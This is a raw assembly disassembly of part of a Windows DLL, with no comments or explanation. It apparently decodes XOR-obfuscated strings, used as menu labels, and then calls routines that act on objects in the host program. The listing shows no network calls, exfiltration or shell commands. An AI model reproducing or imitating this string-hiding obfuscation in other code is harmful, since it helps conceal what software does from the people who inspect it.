je 0x18009fb1b
movsxd r9, dword [0x18024b4f8]
mov rax, qword [r8 + 8]
movzx edx, byte [rax + r9]
and edx, 0x80
neg rdx
sar rdx, 0x3f
not rdx
test rdx, rdx
je 0x18009fbc5
mov ecx, dword [r8 + 0x14]
imul ecx, r9d
add rcx, qword [r8]
and rcx, rdx
je 0x18009fbc5
mov rax, qword [0x1802492e0]
mov rdx, qword [rcx + rax]
test rdx, rdx
je 0x18009fa71
mov rax, qword [0x180249300]
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
mov edi, dword [rdx + rax]
xor eax, eax
mov edx, edi
mov qword [rbp + 0x180], rax
call fcn.1800b3880
mov r8, qword [0x180248f58]
lea r9, [rsp + 0x50]
mov rdx, qword [0x180248f50]
lea rcx, [rbp + 0x180]
mov qword [rsp + 0x50], rax
call fcn.18005a4d0
mov rbx, qword [rbp + 0x180]
cmp rbx, qword [0x180248f58]
je 0x18009f97c
lea rcx, [rbp + 0x978]
call fcn.180016840
cmp byte [0x1801c3fdd], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c3fd8]
movss dword [rbp + 0x980], xmm0
movsd xmm0, qword [0x1801c3fd0]
mov dword [rbp + 0x1a48], eax
movzx eax, word [0x1801c3fdc]
movsd qword [rbp + 0x1a40], xmm0
mov word [rbp + 0x1a4c], ax
mov dword [rbp + 0x984], 0x42200000
je 0x18009f914
mov r8d, r14d
cmp r12d, 2
jl 0x18009f8c7
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3fd0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a40], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a44], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a40]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009f8e0
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x1a40]
call fcn.180002c70
test al, al
je 0x18009fbc5
sub rbx, qword [0x180248f50]
mov rdx, qword [0x180248f58]
sar rbx, 5
movsxd r8, ebx
shl r8, 5
add r8, qword [0x180248f50]
lea rcx, [r8 + 0x20]
call fcn.180057c10
mov rdx, qword [0x180248f58]
lea rcx, [0x180248f50]
add rdx, 0xffffffffffffffe0
call fcn.1800598f0
sub qword [0x180248f58], 0x20
jmp 0x18009fbc5
lea rcx, [rbp + 0x988]
call fcn.180016840
movzx ecx, word [0x1801c3fe8]
lea rdx, [rbp + 0x990]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c3fea]
mov word [rbp + 0x11e0], cx
xor al, 0x40
xor byte [rbp + 0x11e1], 0x3f
xor cl, 0x3e
movss dword [rbp + 0x990], xmm0
movsd xmm0, qword [0x1801c3fe0]
movsd qword [rbp + 0x11d8], xmm0
xor byte [rbp + 0x11d9], 0x37
xor byte [rbp + 0x11da], 0x38
xor byte [rbp + 0x11db], 0x39
xor byte [rbp + 0x11dc], 0x3a
xor byte [rbp + 0x11dd], 0x3b
xor byte [rbp + 0x11de], 0x3c
xor byte [rbp + 0x11df], 0x3d
mov byte [rbp + 0x11e0], cl
lea rcx, [rbp + 0x11d8]
mov byte [rbp + 0x11d8], 0x41
mov dword [rbp + 0x994], 0x42200000
mov byte [rbp + 0x11e2], al
call fcn.180002c70
test al, al
je 0x18009fbc5
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, r15
call fcn.1800b3880
mov rdx, rax
lea rcx, [rbp + 0x2830]
call fcn.1800635b0
lea rdx, [rbp + 0x2830]
lea rcx, [0x180248f50]
call fcn.1800e3d60
lea rcx, [rbp + 0x2830]
call fcn.180068dd0
jmp 0x18009fbc5
lea rcx, [rbp + 0x998]
call fcn.180016840
movzx ecx, word [0x1801c3ff8]
lea rdx, [rbp + 0x9a0]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c3ffa]
mov word [rbp + 0x11f0], cx
xor cl, 0x3e
xor byte [rbp + 0x11f1], 0x3f
movss dword [rbp + 0x9a0], xmm0
movsd xmm0, qword [0x1801c3ff0]
movsd qword [rbp + 0x11e8], xmm0
xor byte [rbp + 0x11e9], 0x37
xor byte [rbp + 0x11ea], 0x38
xor byte [rbp + 0x11eb], 0x39
xor byte [rbp + 0x11ec], 0x3a
xor byte [rbp + 0x11ed], 0x3b
xor byte [rbp + 0x11ee], 0x3c
xor byte [rbp + 0x11ef], 0x3d
xor al, 0x40
mov byte [rbp + 0x11f0], cl
mov byte [rbp + 0x11f2], al
lea rcx, [rbp + 0x11e8]
mov dword [rbp + 0x9a4], 0x42200000
mov byte [rbp + 0x11e8], 0x41
jmp 0x18009fbc0
lea rcx, [rbp + 0x9a8]
call fcn.180016840
movzx ecx, word [0x1801c4008]
lea rdx, [rbp + 0x9b0]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c400a]
mov word [rbp + 0x1200], cx
xor cl, 0x3e
xor byte [rbp + 0x1201], 0x3f
movss dword [rbp + 0x9b0], xmm0
movsd xmm0, qword [0x1801c4000]
movsd qword [rbp + 0x11f8], xmm0
xor byte [rbp + 0x11f9], 0x37
xor byte [rbp + 0x11fa], 0x38
xor byte [rbp + 0x11fb], 0x39
xor byte [rbp + 0x11fc], 0x3a
xor byte [rbp + 0x11fd], 0x3b
xor byte [rbp + 0x11fe], 0x3c
xor byte [rbp + 0x11ff], 0x3d
xor al, 0x40
mov byte [rbp + 0x1200], cl
mov byte [rbp + 0x1202], al
lea rcx, [rbp + 0x11f8]
mov dword [rbp + 0x9b4], 0x42200000
mov byte [rbp + 0x11f8], 0x41
call fcn.180002c70
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
movdqa xmm1, xmmword [0x1801c6e30]
xorps xmm0, xmm0
mov edx, dword [0x180249488]
movups xmmword [rbp + 0x3100], xmm0
mov byte [rbp + 0x3100], r14b
movdqu xmmword [rbp + 0x3110], xmm1
cmp edx, 0xffffffff
jne 0x18009fca1
cmp byte [0x1801c4019], r14b
movsd xmm0, qword [0x1801c4010]
movzx eax, word [0x1801c4018]
movsd qword [rbp + 0xfd8], xmm0
mov word [rbp + 0xfe0], ax
je 0x18009fc70
xor byte [rbp + 0xfd9], 0x37
xor byte [rbp + 0xfda], 0x38
xor byte [rbp + 0xfdb], 0x39
xor byte [rbp + 0xfdc], 0x3a
xor byte [rbp + 0xfdd], 0x3b
xor byte [rbp + 0xfde], 0x3c
xor byte [rbp + 0xfdf], 0x3d
xor byte [rbp + 0xfe0], 0x3e
xor byte [rbp + 0xfe1], 0x3f
mov byte [rbp + 0xfd8], 0x43
lea rax, [rbp + 0xfd8]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18009fc80
lea rdx, [rbp + 0xfd8]
lea rcx, [rbp + 0x3100]
call fcn.18000ab50
jmp 0x18009fd59
inc edx
lea rcx, [rbp + 0x2850]
call fcn.1800ea8b0
cmp byte [0x1801c4029], r14b
movsd xmm0, qword [0x1801c4020]
movzx ecx, word [0x1801c4028]
movsd qword [rbp + 0xfe8], xmm0
mov word [rbp + 0xff0], cx
je 0x18009fd1c
xor byte [rbp + 0xfe9], 0x37
xor byte [rbp + 0xfea], 0x38
xor byte [rbp + 0xfeb], 0x39
xor byte [rbp + 0xfec], 0x3a
xor byte [rbp + 0xfed], 0x3b
xor byte [rbp + 0xfee], 0x3c
xor byte [rbp + 0xfef], 0x3d
xor byte [rbp + 0xff0], 0x3e
xor byte [rbp + 0xff1], 0x3f
mov byte [rbp + 0xfe8], 0x50
mov r8, rax
lea rdx, [rbp + 0xfe8]
lea rcx, [rbp + 0x2870]
call fcn.180054750
mov rdx, rax
lea rcx, [rbp + 0x3100]
call fcn.180069650
lea rcx, [rbp + 0x2870]
call fcn.180068dd0
lea rcx, [rbp + 0x2850]
call fcn.180068dd0
cmp qword [rbp + 0x3118], 0xf
lea rcx, [rbp + 0x3100]
movzx eax, word [0x1801c4038]
movsd xmm0, qword [0x1801c4030]
mov word [rbp + 0x1210], ax
movzx eax, byte [0x1801c403a]
movsd qword [rbp + 0x1208], xmm0
jbe 0x18009fd96
mov rcx, qword [rbp + 0x3100]
xor byte [rbp + 0x1209], 0x37
lea rdx, [0x180249488]
xor byte [rbp + 0x120a], 0x38
xor al, 0x40
xor byte [rbp + 0x120b], 0x39
mov r9d, 2
xor byte [rbp + 0x120c], 0x3a
mov r8d, r13d
xor byte [rbp + 0x120d], 0x3b
xor byte [rbp + 0x120e], 0x3c
xor byte [rbp + 0x120f], 0x3d
xor byte [rbp + 0x1210], 0x3e
xor byte [rbp + 0x1211], 0x3f
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x1208]
mov byte [rbp + 0x1208], 0x53
mov byte [rbp + 0x1212], al
call fcn.180008ec0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x9b8]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [str.aVJI]
movss xmm0, dword [rax]
movzx eax, word [0x1801c4050]
mov word [rbp + 0x2398], ax
movzx eax, byte [0x1801c4052]
mov byte [rbp + 0x239a], al
movss dword [rbp + 0x9c0], xmm0
mov dword [rbp + 0x9c4], 0x42200000
movups xmmword [rbp + 0x2388], xmm1
cmp r12d, 2
jl 0x18009ff7d
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x238c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009fe82
cmp r8d, 0x13
jge 0x18009ffc4
movsxd rax, r8d
lea r9, [rbp + 0x2388]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18009ff90
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x2388]
call fcn.180002c70
test al, al
je 0x1800a003c
cmp qword [0x18024b0a0], r14
je 0x1800a003c
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a003c
mov rax, qword [0x1802492f0]
mov rdx, qword [rcx + rax]
test rdx, rdx
je 0x1800a003c
mov qword [0x180249480], rdx
mov byte [0x180249471], 1
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x9c8]
call fcn.180016840
movzx ecx, word [0x1801c4060]
lea rdx, [rbp + 0x9d0]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c4062]
mov word [rbp + 0x1280], cx
xor al, 0x40
xor byte [rbp + 0x1281], 0x3f
xor cl, 0x3e
movss dword [rbp + 0x9d0], xmm0
movsd xmm0, qword [0x1801c4058]
movsd qword [rbp + 0x1278], xmm0
xor byte [rbp + 0x1279], 0x37
xor byte [rbp + 0x127a], 0x38
xor byte [rbp + 0x127b], 0x39
xor byte [rbp + 0x127c], 0x3a
xor byte [rbp + 0x127d], 0x3b
xor byte [rbp + 0x127e], 0x3c
xor byte [rbp + 0x127f], 0x3d
mov byte [rbp + 0x1280], cl
lea rcx, [rbp + 0x1278]
mov byte [rbp + 0x1278], 0x46
mov dword [rbp + 0x9d4], 0x42200000
mov byte [rbp + 0x1282], al
call fcn.180002c70
test al, al
je 0x1800a0151
cmp qword [0x18024b0a0], r14
je 0x1800a0151
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a0151
mov rax, qword [rcx + 0xd0]
test rax, rax
je 0x1800a0151
movzx ecx, word [rax + 0xa]
call qword [0x180249200]
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x9d8]
call fcn.180016840
cmp byte [0x1801c4075], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c4070]
movss dword [rbp + 0x9e0], xmm0
movsd xmm0, qword [str.eC_XVejXVV_C]
mov dword [rbp + 0x1a58], eax
movzx eax, word [0x1801c4074]
movsd qword [rbp + 0x1a50], xmm0
mov word [rbp + 0x1a5c], ax
mov dword [rbp + 0x9e4], 0x42200000
je 0x1800a02f4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a02b2
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eC_XVejXVV_C]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a50], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a54]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a54], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a50]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800a02c0
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x1a50]
call fcn.180002c70
test al, al
je 0x1800a03a5
cmp qword [0x18024b0a0], r14
je 0x1800a03a5
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a03a5
mov rax, qword [0x1802492f0]
mov rdi, qword [rax + rcx]
test rdi, rdi
je 0x1800a03a5
mov rax, qword [0x1802491f8]
mov rcx, rdi
call rax
mov rdx, qword [0x1802491f8]
mov rbx, rax
mov rcx, qword [0x18024b0a0]
call rdx
mov r8d, 1
mov rdx, rax
mov rcx, rbx
call qword [0x180249418]
mov qword [0x180249480], rdi
mov byte [0x180249471], 1
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x9e8]
call fcn.180016840
movups xmm1, xmmword [str.eC_XVejXVV_cvErRTN]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1e80], xmm1
mov dword [rbp + 0x9f4], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0x9f0], xmm0
test al, al
je 0x1800a0554
cmp r12d, 2
jl 0x1800a0515
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1e84]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a0420
jmp 0x1800a0554
lea r9, [rbp + 0x1e80]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a0520
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp + 0x1e80]
call fcn.180002c70
test al, al
je 0x1800a065e
cmp qword [0x18024b0a0], r14
je 0x1800a065e
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ebx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ebx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rbx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rbx, r8
je 0x1800a065e
mov rax, qword [0x1802492f0]
mov rcx, rbx
movsd xmm0, qword [rbx + 0x90]
mov esi, dword [rbx + 0x98]
movsd qword [rsp + 0x70], xmm0
mov rdi, qword [rax + rbx]
call qword [0x1802491f8]
cmp qword [rbx + 0xd0], r14
je 0x1800a065e
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rbx
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
movss xmm2, dword [rsp + 0x74]
mov rcx, rbx
movss xmm1, dword [rsp + 0x70]
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 1
movd xmm3, esi
mov dword [rsp + 0x20], 0x42
call qword [0x1802493f0]
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rbx
mov qword [0x180249480], rdi
mov rcx, r15
mov byte [0x18024949a], 1
mov byte [rsp + 0x20], 1
call fcn.1800ae6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x9f8]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c4090]
mov dword [rbp + 0x1c48], eax
movzx eax, word [0x1801c4094]
mov word [rbp + 0x1c4c], ax
movzx eax, byte [0x1801c4096]
movss dword [rbp + 0xa00], xmm0
movsd xmm0, qword [0x1801c4088]
mov byte [rbp + 0x1c4e], al
mov dword [rbp + 0xa04], 0x42200000
movsd qword [rbp + 0x1c40], xmm0
cmp r12d, 2
jl 0x1800a07bf
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4088]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c40], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c44], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c40]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a07d0
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x1c40]
call fcn.180002c70
test al, al
je 0x1800a0897
cmp qword [0x18024b0a0], r14
je 0x1800a0897
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a0897
mov rax, qword [0x1802492f0]
mov rdi, qword [rax + rcx]
test rdi, rdi
je 0x1800a0897
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x180249238]
cmp byte [rax], 0x48
jne 0x1800a0897
mov rcx, rdi
call rax
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0xa08]
call fcn.180016840
cmp byte [0x1801c40a9], r14b
movups xmm1, xmmword [0x1801c4098]
movss xmm0, dword [rax]
movzx eax, word [0x1801c40a8]
mov word [rbp + 0x2140], ax
movss dword [rbp + 0xa10], xmm0
mov dword [rbp + 0xa14], 0x42200000
movups xmmword [rbp + 0x2130], xmm1
je 0x1800a0a54
mov r8d, r14d
cmp r12d, 2
jl 0x1800a0a0b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2134]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a0910
cmp r8d, 0x12
jge 0x1800a0a54
movsxd rax, r8d
lea r9, [rbp + 0x2130]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a0a20
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x2130]
call fcn.180002c70
test al, al
je 0x1800a0f52
cmp qword [0x18024b0a0], r14
je 0x1800a0f52
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov esi, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul esi, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rsi, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rsi, r8
je 0x1800a0f52
mov rax, qword [0x1802492f0]
mov rdi, qword [rax + rsi]
test rdi, rdi
je 0x1800a0f52
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rsi + 0xd0], r14
je 0x1800a0b46
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
xor edx, edx
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a0b6e
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
xor edx, edx
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
